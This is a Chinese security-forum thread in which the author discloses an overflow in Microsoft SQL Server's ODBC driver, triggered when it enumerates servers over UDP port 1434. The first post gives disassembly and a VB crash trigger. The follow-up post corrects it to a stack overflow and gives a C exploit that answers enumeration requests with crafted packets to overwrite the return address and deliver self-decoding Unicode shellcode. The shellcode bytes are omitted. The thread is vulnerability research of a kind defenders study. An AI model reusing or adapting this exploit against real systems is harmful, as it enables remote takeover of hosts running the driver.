论坛: 编程破解 标题: 发现一个MS SQLSERVER ODBC驱动中的列举SQL服务器的堆溢出漏洞 复制本贴地址    
作者: flashsky [flashsky]    论坛用户   登录
转摘请注明作者和安全焦点
作者:FLASHSKY
SITE:WWW.XFOCUS.NET
邮件:flashsky@xfocus.org

发现的MS的SQL SERVER ODBC驱动中存在一个堆溢出漏洞,攻击者可以通过这个漏洞,发送精心组织的数据包就可以达到远程控制任何通过SQL SERVER ODBC列举SQL SERVER服务器的主机。

以下主要是对中文W2K SERVER+SP3的自带的ODBC驱动进行的研究,其他平台未测试。英文版的ODBC连接好象不出这个问题,因为他不会调用MultiByteToWideChar这个API处理所有字节。
溢出主要发生在SQLSVR32。DLL和DBNETLIB。DLL中。当通过UDP1434端口列举出网络所有存在的SQL SERVER的服务器的时候,MS SQL SERVER ODBC驱动处理方式是先接收到所有UDP回馈包。
处理过程在:74CB70CB call ds:__imp_recvfrom 接收1434的UDP的包

然后,SQL SERVER会分配一个堆,用于MultiByteToWideChar函数将所有返回回来的包进行字节转换,问题就是出在这,建立堆的大小是由如下代码指定分配的:
.text:411B04EC push 0Ch
.text:411B04EE push 64h
.text:411B04F0 push 3E8h
.text:411B04F5 push eax
.text:411B04F6 call sub_41165300
41165300:调入进行堆分配
堆的大小由0X3E8h * 0C计算出来的

但是在以后的这个堆的使用过程中,只是根据每次包的大小动态的移动指针,然后调用MultiByteToWideChar将接收到的包的内容写到堆中去,而不检查是否超出了堆的大小:
74cb7301:进行多字节转换
这样一个攻击者可以针对一个UDP请求发起N个UDP回馈包,只要使得总长度大于这个堆大小就能引发堆溢出:
下面是一个简单的引发堆溢出发生的VB代码:
先建立一个udp的winsocket控件,绑定1434端口进行监听。
Dim str As String
Dim str1
Dim i
Winsock1.GetData str
str1 = "" & Chr(5) & Chr(&HFF) & Chr(&H9) ‘最动只能0x1000大小的包 
str1 = str1 & str(4092,"2")
For i = 1 To 200
Winsock1.SendData str1
Next
这样,当一个UDP请求到达时候就会发出200个4095字节的UDP包就会导致请求的ODBC的堆溢出。然后你在另一台局域网的某台机器上的管理工具中打开ODBC管理程序,选择一个SQL SERVER的系统DSN,然后在列出下拉SQL SERVER服务器的时候就会引发这个溢出,由于这个传来的代码没有含有特殊的字串,因此程序只会异常退出,其实跟踪一下程序会发现不仅仅引发了异常,而且足够多的数据还可以覆盖异常结构中的异常处理地址,导致最后程序的执行点跳转到0x32003200上(因为传过去溢出字串是'2',asc代码是0x32,而经过MultiByteToWideChar处理以后,被覆盖掉的异常处理程序地址就成了0x32003200了),如果能精心构造传过去的字符内容,就可以达到远程控制主机的目的。
这个溢出主要是在sqlsrv32和dbnetlib中,一般使用odbc管理器,sql server client和自己写的应用程序调用了dbnetlib对应的列举SQL SERVER服务器的对应API都能利用。
当然要利用这个溢出还需要很多其他的研究,因为要考虑的问题比较多,因为同时还有其他的SQL SERVER给予对方发出UDP包应答,你无法精确定位你传过去的字符串的位置,同时因为要发大量的包才能达到溢出的目的,而UDP包也不一定能保证收到的包是按你发出的包的大小定位的。怎么有效利用还有待于进一步的研究。另外由于这个堆中的内容都是被MultiByteToWideChar这个函数处理过,其内容针对ASC编码会加上00,所以在跳转地址的构造和SHELLCODE的构造上都需要更精心的处理,利用起来有一定难度。 



[此贴被 闪空(flashsky) 在 9月23日17时53分 编辑过]

地主 发表时间: 9/23 17:3

回复: flashsky [flashsky]   论坛用户   登录
改正错误,实际上是一个堆栈溢出
为我这种没自己研究就匆忙说话的不严谨的作风道歉
其实是这段代码产生了溢出:在sqlsvr32.dll中,主要作用是对包数据进行分析的。
.text:411B06A5                 mov     edx, [esp+10h]
.text:411B06A9                 mov     ecx, 0FAh
.text:411B06AE                 xor     eax, eax
.text:411B06B0                 lea     edi, [esp+10h+arg_1C]
.text:411B06B4                 repe stosd
.text:411B06B6                 lea     ecx, [edx+edx]
.text:411B06B9                 mov     esi, ebp
.text:411B06BB                 mov     eax, ecx
.text:411B06BD                 lea     edi, [esp+10h+arg_1C]
.text:411B06C1                 shr     ecx, 2
.text:411B06C4                 repe movsd
这段代码把原来的堆中的数据到拷贝到堆栈,但是其划分的依据是一个";"作为分界符号,而这个分配的空间是有限的,在01740(6000)给字节的地方会覆盖返回地址。如果你发送几个包,只要在堆中位置连续且不存在";"和0x00,0x00,且大于6000(因为UNICODE处理以后会加倍)则会导致溢出。
利用这个溢出需要考虑如下问题:
1。地址覆盖,因为是要被unicode处理,覆盖的地址要满足转化条件
2。SHELLCODE需要是满足unicode的
3。由于要覆盖和得到UNICODE SHELL需要有大量数据发送,但包接收只接受0x1000的字节,所以需要多包发送,但是由于前面贴出的且堆处理格式,只以包乘2算位置,如果前面的包转换成unicode不是完全满足,包的中间要存在多个0x00,如果存在0x00,0x00这无法被连续拷贝。所以前面的包一定要是ASC的包,这也限制的要覆盖地址的类型的选择。
4。要防备其他 sql server服务器也发包,如果在中间会导致截断。

问题一通过跟踪发现,其堆栈位置大致是在0x6a000左右,因此可以设置地址0x00070007为覆盖的地址,我在多种情况下测试基本是可行的。问题二是利用isno的编码unicode的方法,在程序开始的时候再解码成正式代码。我用的就是isno写的一个unicode shellcode,跟踪发现程序运行很好,可以有效饶过unicode,不过shellcode中的饶过异常处理还是存在问题,我溢出产生,正确跳转和解码以后,执行到后面还是被异常捕获了。这个shellcode可能还是需要改进。问题三是前面全部发送asc的代码,只在最后一个包发送可解码的shellcode。问题四则是前面发正常包,并适当延时来解决。

下面由于shellcode是isno写的,这里就不列出了:另外望高手指点几个问题:
1。由于前面说的原因的限制,覆盖地址只能选择硬编码,有没有更好的方案,特别是覆盖地址是必须满足传过去的代码经过MultiByteToWideChar处理以后扩展成2倍,否则会导致堆中出现0x00而截断后面的shellcode。
2。现在的shellcode还是不能很好的捕获异常,关于这方面我的了解有限,有没有更多关于异常在程序运行时的结构的资料。


#include <winsock2.h>
#include <windows.h>

void main()
{
    unsigned char buffer[4096];
    unsigned char bufhead[3]={5,0xfc,0xf};
    unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;\\\\11111111\\pipe\\sql\\query;;";  //用于伪装正常包,进行延时,最后在发送溢出包,使不被其他的包导致再堆中的中断。
    unsigned char buf2 [4092];
    unsigned char buf3 [4092];
    unsigned char sendbuf [0x1000];
    unsigned  char temp;
    WSADATA WSAData;
    SOCKET sock;
    SOCKADDR_IN addr_in;
    HANDLE listener;
    int e;
    int i;
    int sendlen;
    DWORD a1;
    const int SNDBUF = 0;
    const int TCPNODELAY = TRUE;
    const int BROADCAST = TRUE;
    struct sockaddr_in udpfrom;
    int udpfromlen = sizeof(udpfrom);
    int n ;
    unsigned char shellend[4] = {0x4e,0x4e,0,0}; //用于标记shellcode结束的
    unsigned char shellcode1[]= //略去,是isno写的
    unsigned char shellcodehead[70]= //略去,是isno写的,用于解码shellcode用
    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf(\"WSAStartup error.Error:%d\\n\",WSAGetLastError());
        return FALSE;
    }

    if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
    {
        printf(\"Socket failed.Error:%d\\n\",WSAGetLastError());
        return FALSE;
    }

    sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL); //把解码的代码转化,这样在对方的MultiByteToWideChar处理下,正好获得我们想要的解码代码
    sendlen--;
    memcpy(sendbuf+sendlen,shellcode1,sizeof(shellcode1));
    sendlen = sendlen+sizeof(shellcode1); //加上一段被编码的unicode。
    sendlen--;
    i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL);
    sendlen = sendlen +i-1;
//以上构造了一个完整的可自我解码的shellcode

    memset(buf3,0x4,4092);
//由于分多包发送,前面的必须只能是128以下的字符,其考虑加零情况的汇编
这个缓冲是等同于NOP操作的,被unicode编码以后的汇编是:add ax,0
    
    memset(buf2,7,4092);    
//设置溢出地址覆盖的缓冲
    buf2[3000]=8; 
//覆盖地址成为    0x070008,由于是asc码,被MultiByteToWideChar处理以后长度正好是6000,覆盖返回地址

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(1434);      
    addr_in.sin_addr.S_un.S_addr=inet_addr(\"192.168.0.60\");
    n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in));
//监听1434 UDP端口
    if(n!=0)
    {
         e= WSAGetLastError();
         return -1;
    }
//有人在使用
    n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen);    
    *((WORD *)(bufhead+1))=sizeof(buf1)-1;
    memcpy(buffer,bufhead,3);
    memcpy(buffer+3,buf1,sizeof(buf1)-1);//进行时间延长,避免包被其他的打断    
    for(i=0;i<4;i++)
    {
        n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
        Sleep(100);
    }
//以上发送4个正常的包,并进行延时,保证其他的SQL SERVER已经回复完,自己下面发的包不被其他的包截断

    *((WORD *)(bufhead+1))=4092;
    memcpy(buffer,bufhead,3);
    memcpy(buffer+3,buf2,4092);//发送地址覆盖的包
    n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);

    *((WORD *)(bufhead+1))=4092;
    memcpy(buffer,bufhead,3);
    memcpy(buffer+3,buf3,4092);//发送空指令包,保证其最终可以跳转到有效地址上来。
    for(i=0;i<2;i++)
        n = sendto(sock, buffer, 4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);

    //写入SHELLCODE
    *((WORD *)(bufhead+1))=sendlen;
    memcpy(buffer,bufhead,3);
    memcpy(buffer+3,sendbuf,sendlen);    
    n = sendto(sock, buffer, sendlen+3, 0,(struct sockaddr *)&udpfrom, &udpfromlen);    
    WSACleanup();
    return 0;
}

感谢ISNO提供的UNICODE SHELL的思路和代码。 

B1层 发表时间: 09/26 18:19

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号